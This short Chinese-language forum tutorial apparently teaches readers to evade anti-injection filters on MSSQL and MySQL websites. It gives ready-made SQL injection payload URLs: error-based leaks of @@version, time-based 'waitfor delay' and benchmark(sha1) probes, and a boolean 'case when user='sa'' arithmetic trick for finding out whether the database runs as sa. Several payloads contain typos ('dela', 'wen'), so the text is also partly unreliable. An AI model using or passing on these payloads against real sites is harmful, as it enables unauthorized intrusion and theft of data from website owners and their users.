当遇到了防注入系统，中转也搞不下的时候可以试一试这个方法，一般这个方法不能用于access这样的数据库，因为access的数据库的函数功能就没mssql mysql 这些主流的数据库那么多，那么强大，  
  
一般来说查看数据库版本的查询语句是select @@version  这一mssql为例子说吧  用这个语句就会得到mssql的版本 现在的防注入很多都没有过滤这个@@version关键字， 比如一个url为<http://www.xxxx.com/a.php?id=5>  mssql产生的信息非常的详细，当然要看网站的设置如何，现在只需要简单的应用希望得到数字值的地方注入该变量就可以触发一个类型转换错误。  
<http://www.xxxx.com/a.php?id=@@version> 这样sql就会接受@@version的值转换为整数这样就得到了我们要的信息   
  
下面是搜索型的语句  
[http://www.xxxx.com/a.php?id=5'%2b@@version](http://www.xxxx.com/a.php?id=5) %2b'  
  
同样也可以利用基于响应时间的差异得到我们想要的信息  
<http://www.xxxx.com/a.php?id=5;if> (system\_user ='sa') waitfor dela '0:0:5'  这个例子就同过条件语句利用响应时间得到用户是否sa  
对于mysql 可以这样使用  
select benchmark (1000000,sha1('blah'));    benchmark函数将第二个参数的表达式执行有第一个参数说指定的次数 利用这个让数据库将字符串的sha1 计算1000000次  
  
大家都知道select \* from admin where id=1 与 select \* from admin where id=2-1 是等价的我们就利用这一点转换一下思路  
<http://www.xxxx.com/a.php?id=5%2b(case> wen (user='sa') then 1 else 0 end) 懂c语言的都已经烂熟了吧，对于这个条件语句，  
当用户是sa时候就返回1 与前面的5相加变成<http://www.xxxx.com/a.php?id=6> 这样就成功得到我们想要的信息。我们结合我的经验知识把语句转换就能得到意想不到的收获

